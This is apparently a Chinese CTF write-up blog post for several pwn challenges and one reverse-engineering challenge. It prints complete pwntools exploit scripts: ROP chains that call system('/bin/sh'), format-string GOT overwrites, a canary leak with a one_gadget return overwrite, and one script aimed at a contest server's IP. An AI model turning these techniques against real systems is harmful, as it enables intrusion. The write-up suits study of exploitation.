Pwn [scode type=”red”]非洲人怎么开容器都连不上所以 wp 都是本地。
[/scode]
[scode type=”green”]看完大佬 wp 了解到远程 docker 会过滤空格,不能使用cat flag
,需要改用base64<flag
。因此这篇水文没有参考意义,去看大佬的 wp 吧~
膜拜大佬师傅们的WP:
taqini
风沐云烟
[/scode]
Pwn 签到 [collapse title=”展开查看详情” status=”false”]
考点:栈溢出
gets 函数栈溢出,程序只开启 NX 保护。漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); gets((__int64)&v4, 0LL ); system("echo hello wrold!" ); return 0 ; }
程序有 system 函数,就 gets 将 /bin/sh 写入到 bss 段,然后再调用。
**完整 exp **
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.log_level = 'debug' p = process("./pwn" ) elf = ELF("./pwn" ) ret = 0x00000000004004ce pop_rdi = 0x00000000004006d3 pop_rsi_r15 = 0x00000000004006d1 start = 0x400510 payload = 'a' *0x28 + p64(ret) payload += p64(pop_rdi) + p64(0x601069 ) payload += p64(elf.plt['gets' ]) payload += p64(pop_rdi) + p64(0x601069 ) + p64(elf.plt['system' ]) p.sendline(payload) p.recvuntil('hello wrold!' ) p.sendline('/bin/sh\x00' ) p.interactive()
远程环境过滤了空格等,我非洲人就没有看到过远程长什么样!!!
[/collapse]
Pwn_MagicString [collapse title=”展开查看详情” status=”false”]
考点:栈溢出
emmm这题和签到题怎么这么雷同,一样的思路,一样的方法。
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = 'debug' p = remote("124.156.121.112" ,28061 ) elf = ELF("./pwn" ) pop_rdi = 0x0000000000400733 ret = 0x00000000004004d1 bss = 0x601060 payload = 'a' *0x2a8 payload += p64(pop_rdi) + p64(bss) + p64(elf.plt['gets' ]) payload += p64(pop_rdi) + p64(bss) + p64(elf.plt['system' ]) p.recvuntil("I want a girlfriend!\n" ) p.sendline(payload) p.sendline('/bin/sh\x00' ) p.interactive()
远程环境过滤了空格等,我非洲人就没有看到过远程长什么样!!!
[/collapse]
Pwn_babyFmtstr [collapse title=”展开查看详情” status=”false”]
考点:格式化字符串
格式化字符串长度不大于 0x32 ,漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 char *sub_400D0A () { char *v0; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); sleep(0 ); puts ("please input name:" ); myiput((__int64)&s, 0x32 uLL); v0 = strdup(&s); printf ("Hello " , 0x32 LL, sleep); printf (&s); return v0; }
程序中没有 system 和 /bin/sh 字符串,也没有后门函数,需要泄露函数地址。调试后得出:第一个可控字符偏移是8 ,main 返回地址 __libc_start_main 偏移是25 。
泄露出地址后还需要 rop 回到 main 进行修改地址。因为格式化字符串长度有限制,所以尽量选择差异较小的 got 修改。main 地址是 0x400E93 ,刚好与 plt 表前几位相同,所以找那些程序中未运行过但即将运行的函数修改,比如 free 。
free 未运行过,因此 got.plt 会指向到 plt 表。
1 [0x602040] free@GLIBC_2.2.5 -> 0x4009d6 (free@plt+6)
将函数
所以构造第一条 payload ,将 free got 覆写为 main ,然后泄露出 main 返回地址:
1 payload = "%3731c%11$hn%25$paaaaaaa" + p64(elf.got['free' ])
然后就是对某个函数 got 表覆写然后传 /bin/sh getshell 。我的做法是用第一轮输入覆写 strdup 为 system ,第二轮输入 /bin/sh ,当第二轮输入进行字符串复制 strdup(&s) 时 /bin/sh 被传入 system 。
所以构造第二条 payload :
1 payload = "%4148765760c%11$nAAAAAAA" + p64(elf.got['strdup' ])
exp 完全不值得参考,远程网络环境不好还直接 %n 改数据(该打.png)。逐 bit 改的去看看 taqini 大佬的,或者爆破改 onegadget 的风沐云烟大佬。
[/collapse]
Pwn_tang [collapse title=”展开查看详情” status=”false”]
考点:canary 绕过、格式化字符串
基本情况 保护措施 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
格式化字符串 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 lookhere () { char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); puts (&s); read(0 , &buf, 5uLL ); printf (&buf, &buf); return __readfsqword(0x28 u) ^ v2; }
字符串长度在 5 字节,长度不足够修改,而且 got 表也不可写。
栈溢出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); lookhere(); puts (&byte_B80); read(0 , &::buf, 0x190 uLL); lookthere(); puts (asc_BA8); return read(0 , &buf, 0x60 uLL); }
栈溢出长度仅可以控制 rip 返回地址。
思路 格式化字符串漏洞可以泄露内存信息,字符串长度限制 5 字节,但还是可以泄露出 canary 值,从而绕过 canary 保护。
1 2 3 4 5 p.recvuntil('你怎么了?\n' ) p.sendline('%9$p' ) canary = eval (p.recv(18 )) log.success("canart:" +hex (canary))
绕过 canary 之后,就可以利用栈溢出控制程序流程。因为程序没有留后门,溢出空间非常小,就泄露 libc 地址,利用 onegadget getshell 。泄露 libc 地址还是利用格式化字符串漏洞,因此需要 rop 回到 main 。
main 函数是在 __libc_main_start 被调用,所以从返回地址找到 __libc_main_start 调用地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── 0x555555554ab0 xor rbx, qword ptr fs:[0x28] 0x555555554ab9 je 0x555555554ac0 ↓ 0x555555554ac0 add rsp, 0x48 0x555555554ac4 pop rbx 0x555555554ac5 pop rbp ► 0x555555554ac6 ret <0x7ffff7a2d830; __libc_start_main+240> ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> pdisass 0x7ffff7a2d830-0x20 ► 0x7ffff7a2d810 <__libc_start_main+208> add al, 0x25 0x7ffff7a2d812 <__libc_start_main+210> add byte ptr [rbx], al 0x7ffff7a2d814 <__libc_start_main+212> add byte ptr [rax], al 0x7ffff7a2d816 <__libc_start_main+214> mov rax, qword ptr [rip + 0x3a369b] 0x7ffff7a2d81d <__libc_start_main+221> mov rsi, qword ptr [rsp + 8] 0x7ffff7a2d822 <__libc_start_main+226> mov edi, dword ptr [rsp + 0x14] 0x7ffff7a2d826 <__libc_start_main+230> mov rdx, qword ptr [rax] 0x7ffff7a2d829 <__libc_start_main+233> mov rax, qword ptr [rsp + 0x18] 0x7ffff7a2d82e <__libc_start_main+238> call rax
从 0x7ffff7a2d82e 往上找到传参开始地址,将返回地址最后两位覆写为目标地址,即0x7ffff7a2d830
–>0x7ffff7a2d816
。
1 2 3 4 5 6 7 8 9 10 payload = 'a' *56 +p64(canary) payload = payload.ljust(88 ,'a' ) payload += '\x16' p.recvuntil('烫' ) p.send(payload) p.recvuntil('火炉远一点!\n' ) p.send(payload)
再次进入 main 之后泄露 libc 地址
1 2 3 4 5 6 p.recvuntil('你怎么了?\n' ) p.send('%23$p' ) __libc_start_main_240 = eval (p.recv(14 )) log.success("__libc_start_main_240:" +hex (__libc_start_main_240))
最后重写返回地址为 onegadget
1 2 3 4 5 6 7 8 9 payload = 'a' *56 +p64(canary) payload = payload.ljust(88 ,'a' ) payload += p64(one_gadget) p.recvuntil('烫' ) p.sendline('1' ) gdb.attach(p) p.recvuntil('火炉远一点!\n' ) p.send(payload)
完整 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = 'debug' p = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) one_gadget = 0xf1147 p.recvuntil('你怎么了?\n' ) p.sendline('%9$p' ) canary = eval (p.recv(18 )) log.success("canart:" +hex (canary)) payload = 'a' *56 +p64(canary) payload = payload.ljust(88 ,'a' ) payload += '\x16' p.recvuntil('烫' ) p.send(payload) p.recvuntil('火炉远一点!\n' ) p.send(payload) p.recvuntil('你怎么了?\n' ) p.send('%23$p' ) __libc_start_main_240 = eval (p.recv(14 )) log.success("__libc_start_main_240:" +hex (__libc_start_main_240)) libc_base = __libc_start_main_240 - 240 - libc.symbols['__libc_start_main' ] log.success("libc_base:" +hex (libc_base)) system = libc_base + libc.symbols['system' ] log.success("system:" +hex (system)) one_gadget += libc_base log.success("one_gadget:" +hex (one_gadget)) payload = 'a' *56 +p64(canary) payload = payload.ljust(88 ,'a' ) payload += p64(one_gadget) p.recvuntil('烫' ) p.sendline('1' ) gdb.attach(p) p.recvuntil('火炉远一点!\n' ) p.send(payload) p.interactive()
[/collapse]
RE 逆向_签到 [collapse title=”展开查看详情” status=”false”]
进来首先是逐个字符(v8)与 v7、v9 运算加密,然后结构与 v6 进行或运算。
1 2 3 4 5 6 7 do { v8 = sub_400818((__int64)aFlag, 0LL ); v6 |= v8 ^ v7 ^ (v7 + (v7 ^ *(&v9 + (signed int )v7))); v4 = v7++; } while ( v8 && v8 != 10 && v8 != -1 );
然后就是判断 v6 值,值为 0 就是正确。
1 2 3 4 if ( v6 ) sub_400828((__int64)aFailed, 0LL , v3, v4); else sub_400828((__int64)aCorrect, 0LL , v3, v4);
反推出 v6 应该每一轮加密都是 0 ,进而推出 v8 = v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7))) 。
完整 exp
1 2 3 4 c = [0x66 ,0x6d ,0x63 ,0x62 ,0x7f ,0x3a ,85 ,106 ,57 ,82 ,122 ,55 ,81 ,19 ,51 ,35 ,67 ,70 ,41 ,61 ,41 ,32 ,127 ,28 ,38 ,77 ,49 ,20 ,80 ,94 ,-24 ] for i in range (0 ,len (c)): x = i ^ ((i ^ c[i]) + i) print(chr (x),end='' )
[/collapse]